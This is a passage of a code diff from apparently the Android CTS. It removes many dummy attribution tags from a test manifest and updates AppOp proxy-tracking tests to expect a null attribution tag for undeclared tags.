-  <attribution android:tag="f9557" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9558" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9559" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9560" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9561" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9562" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9563" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9564" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9565" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9566" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9567" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9568" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9569" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9570" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9571" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9572" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9573" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9574" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9575" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9576" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9577" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9578" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9579" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9580" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9581" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9582" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9583" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9584" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9585" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9586" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9587" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9588" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9589" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9590" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9591" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9592" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9593" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9594" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9595" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9596" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9597" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9598" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9599" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9600" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9601" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9602" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9603" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9604" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9605" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9606" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9607" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9608" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9609" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9610" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9611" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9612" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9613" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9614" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9615" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9616" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9617" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9618" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9619" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9620" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9621" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9622" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9623" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9624" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9625" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9626" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9627" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9628" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9629" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9630" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9631" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9632" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9633" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9634" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9635" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9636" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9637" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9638" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9639" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9640" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9641" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9642" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9643" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9644" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9645" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9646" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9647" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9648" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9649" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9650" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9651" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9652" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9653" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9654" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9655" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9656" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9657" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9658" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9659" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9660" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9661" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9662" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9663" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9664" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9665" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9666" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9667" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9668" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9669" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9670" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9671" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9672" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9673" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9674" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9675" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9676" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9677" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9678" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9679" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9680" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9681" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9682" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9683" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9684" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9685" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9686" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9687" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9688" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9689" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9690" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9691" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9692" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9693" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9694" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9695" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9696" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9697" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9698" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9699" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9700" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9701" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9702" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9703" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9704" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9705" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9706" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9707" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9708" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9709" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9710" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9711" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9712" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9713" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9714" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9715" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9716" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9717" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9718" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9719" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9720" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9721" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9722" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9723" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9724" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9725" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9726" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9727" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9728" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9729" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9730" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9731" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9732" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9733" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9734" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9735" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9736" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9737" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9738" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9739" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9740" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9741" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9742" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9743" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9744" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9745" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9746" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9747" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9748" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9749" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9750" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9751" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9752" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9753" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9754" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9755" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9756" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9757" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9758" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9759" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9760" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9761" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9762" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9763" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9764" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9765" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9766" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9767" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9768" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9769" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9770" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9771" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9772" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9773" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9774" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9775" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9776" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9777" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9778" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9779" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9780" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9781" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9782" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9783" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9784" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9785" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9786" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9787" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9788" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9789" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9790" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9791" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9792" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9793" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9794" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9795" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9796" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9797" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9798" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9799" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9800" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9801" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9802" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9803" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9804" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9805" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9806" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9807" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9808" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9809" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9810" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9811" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9812" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9813" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9814" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9815" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9816" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9817" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9818" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9819" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9820" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9821" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9822" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9823" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9824" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9825" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9826" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9827" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9828" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9829" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9830" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9831" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9832" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9833" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9834" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9835" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9836" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9837" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9838" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9839" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9840" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9841" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9842" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9843" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9844" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9845" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9846" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9847" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9848" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9849" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9850" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9851" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9852" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9853" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9854" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9855" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9856" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9857" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9858" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9859" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9860" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9861" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9862" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9863" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9864" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9865" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9866" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9867" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9868" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9869" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9870" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9871" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9872" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9873" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9874" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9875" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9876" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9877" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9878" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9879" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9880" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9881" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9882" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9883" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9884" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9885" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9886" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9887" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9888" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9889" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9890" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9891" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9892" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9893" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9894" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9895" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9896" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9897" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9898" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9899" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9900" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9901" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9902" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9903" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9904" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9905" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9906" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9907" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9908" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9909" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9910" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9911" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9912" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9913" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9914" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9915" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9916" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9917" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9918" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9919" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9920" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9921" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9922" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9923" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9924" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9925" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9926" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9927" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9928" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9929" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9930" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9931" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9932" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9933" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9934" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9935" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9936" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9937" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9938" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9939" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9940" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9941" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9942" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9943" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9944" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9945" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9946" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9947" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9948" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9949" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9950" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9951" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9952" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9953" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9954" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9955" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9956" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9957" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9958" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9959" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9960" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9961" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9962" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9963" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9964" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9965" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9966" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9967" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9968" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9969" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9970" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9971" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9972" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9973" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9974" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9975" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9976" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9977" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9978" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9979" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9980" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9981" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9982" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9983" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9984" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9985" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9986" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9987" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9988" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9989" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9990" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9991" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9992" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9993" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9994" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9995" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9996" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9997" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9998" android:label="@string/dummyLabel" />
-  <attribution android:tag="f9999" android:label="@string/dummyLabel" />
 
   <attribution android:tag="toomany" android:label="@string/dummyLabel" />
 
diff --git a/tests/tests/appop/src/android/app/appops/cts/AppOpEventCollectionTest.kt b/tests/tests/appop/src/android/app/appops/cts/AppOpEventCollectionTest.kt
index 2bcc7c9..cf39719 100644
--- a/tests/tests/appop/src/android/app/appops/cts/AppOpEventCollectionTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/AppOpEventCollectionTest.kt
@@ -321,8 +321,9 @@
             .isEqualTo(myUid)
         assertThat(opEntry.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)?.uid).isEqualTo(myUid)
 
+        // Expecting null instead of firstTag as the tag is not declared in other app (b/304983146)
         assertThat(attributionOpEntry.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)?.attributionTag)
-            .isEqualTo(firstTag)
+            .isNull()
         assertThat(attributionOpEntry.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)?.attributionTag)
             .isEqualTo(secondTag)
 
@@ -353,8 +354,10 @@
             assertThat(attributedOpEntries[null]!!.isRunning).isTrue()
             assertThat(attributedOpEntries[null]?.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)!!
                 .packageName).isEqualTo(SHELL_PACKAGE_NAME)
+            // Expecting null instead of firstTag as the tag is not declared in the
+            // other app (b/304983146)
             assertThat(attributedOpEntries[null]?.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)!!
-                .attributionTag).isEqualTo(firstTag)
+                .attributionTag).isNull()
             assertThat(isRunning).isTrue()
         }
 
@@ -384,8 +387,9 @@
             .isEqualTo(shellUid)
         assertThat(opEntry.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)?.uid).isEqualTo(
                 shellUid)
+        // Expecting null instead of firstTag as the tag is not declared in other app (b/304983146)
         assertThat(attributionOpEntry.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)?.attributionTag)
-            .isEqualTo(firstTag)
+            .isNull()
     }
 
     @AppModeFull(reason = "instant apps cannot see other packages")
@@ -462,8 +466,9 @@
         assertThat(attributionOpEntry.isRunning).isFalse()
         assertThat(opEntry.isRunning).isFalse()
 
+        // Expecting null instead of firstTag as the tag is not declared in other app (b/304983146)
         assertThat(attributionOpEntry.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)?.attributionTag)
-            .isEqualTo(firstTag)
+                .isNull()
         assertThat(attributionOpEntry.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)?.attributionTag)
             .isEqualTo(secondTag)
